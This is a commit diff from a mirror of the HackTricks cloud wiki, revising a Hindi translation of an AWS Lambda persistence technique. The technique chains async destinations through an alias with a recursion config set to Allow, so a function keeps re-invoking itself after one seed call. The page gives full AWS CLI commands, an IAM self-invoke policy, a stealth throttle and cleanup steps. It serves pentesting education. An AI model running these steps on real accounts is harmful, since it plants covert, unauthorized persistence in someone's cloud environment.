mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 04:41:55 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -1,25 +1,27 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Abuse Lambda asynchronous destinations को Recursion configuration के साथ मिलाकर एक function को बिना किसी external scheduler (no EventBridge, cron, etc.) के लगातार खुद को re-invoke करने के लिए मजबूर करें। By default, Lambda recursive loops को terminate कर देता है, लेकिन Recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations service side पर async invokes के लिए deliver करते हैं, इसलिए एक single seed invoke एक stealthy, code-free heartbeat/backdoor channel बना देता है। Optionally reserved concurrency के साथ throttle करके noise कम रखें।
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Notes
|
||||
- Lambda सीधे किसी function को उसका अपना destination सेट करने की अनुमति नहीं देता। destination के रूप में एक function alias का उपयोग करें और execution role को उस alias को invoke करने की अनुमति दें।
|
||||
- Minimum permissions: target function के event invoke config और Recursion config को पढ़ने/अपडेट करने की क्षमता, एक version publish करने और alias manage करने की क्षमता, और function के execution role policy को अपडेट करने की क्षमता ताकि alias पर lambda:InvokeFunction की अनुमति दी जा सके।
|
||||
Lambda के asynchronous Destinations और Recursion configuration का दुरुपयोग करके किसी function को बिना किसी external scheduler (कोई EventBridge, cron, आदि नहीं) लगातार खुद को पुनः-invoke करने के लिए मजबूर किया जा सकता है। डिफ़ॉल्ट रूप से, Lambda recursive loops को terminate कर देता है, लेकिन recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations async invokes के लिए service-side पर deliver करते हैं, इसलिए एक single seed invoke एक stealthy, बिना code वाला heartbeat/backdoor channel बना देता है। शोर कम रखने के लिए optional रूप से reserved concurrency के साथ throttle करें।
|
||||
|
||||
## Requirements
|
||||
नोट्स
|
||||
- Lambda सीधे तौर पर function को उसका खुद का destination बनाने की अनुमति नहीं देता। destination के रूप में function alias का उपयोग करें और execution role को उस alias को invoke करने की अनुमति दें।
|
||||
- Minimum permissions: target function के event invoke config और recursion config को read/update करने की क्षमता, एक version publish करने और alias manage करने की क्षमता, और function के execution role policy को update करने की क्षमता ताकि alias पर lambda:InvokeFunction की अनुमति दी जा सके।
|
||||
|
||||
## आवश्यकताएँ
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Steps
|
||||
## चरण
|
||||
|
||||
1) फ़ंक्शन ARN और वर्तमान Recursion सेटिंग प्राप्त करें
|
||||
1) function ARN और वर्तमान recursion setting प्राप्त करें
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) एक version प्रकाशित करें और एक alias बनाएं/अपडेट करें (self destination के रूप में उपयोग किया जाता है)
|
||||
2) एक संस्करण प्रकाशित करें और एक alias बनाएं/अपडेट करें (self destination के रूप में उपयोग किया जाता है)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) function execution role को alias invoke करने की अनुमति दें (Lambda Destinations→Lambda के लिए आवश्यक)
|
||||
3) फ़ंक्शन निष्पादन भूमिका को alias को invoke करने की अनुमति दें (Lambda Destinations→Lambda के लिए आवश्यक)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) async destination को alias पर कॉन्फ़िगर करें (self via alias) और retries अक्षम करें
|
||||
4) async destination को alias (self via alias) पर कॉन्फ़िगर करें और retries को निष्क्रिय करें
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
@@ -58,27 +60,28 @@ aws lambda put-function-event-invoke-config \
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) पुनरावर्ती लूपों की अनुमति दें
|
||||
5) पुनरावर्ती लूप्स की अनुमति दें
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) एक एकल asynchronous invoke आरंभ करें
|
||||
6) एकल असिंक्रोनस invoke आरंभ करें
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) निरंतर invocations का निरीक्षण (उदाहरण)
|
||||
7) लगातार invocations का अवलोकन करें (उदाहरण)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) वैकल्पिक stealth थ्रॉटल
|
||||
8) वैकल्पिक स्टील्थ थ्रॉटल
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## साफ़-सफाई
|
||||
लूप को तोड़ें और persistence हटाएं।
|
||||
## सफाई
|
||||
|
||||
loop को तोड़ें और persistence हटाएँ।
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
@@ -88,5 +91,6 @@ aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGIO
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## प्रभाव
|
||||
- एकल async invoke बिना किसी external scheduler के Lambda को लगातार स्वयं को फिर से कॉल करने के लिए प्रेरित करता है, जिससे छिपा हुआ persistence/heartbeat सक्षम होता है। Reserved concurrency शोर को एकल warm execution तक सीमित कर सकता है।
|
||||
## Impact
|
||||
- Single async invoke Lambda को किसी बाहरी scheduler के बिना लगातार खुद को पुनः invoke करने का कारण बनता है, जिससे stealthy persistence/heartbeat सक्षम होता है। Reserved concurrency शोर को एक single warm execution तक सीमित कर सकता है।
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user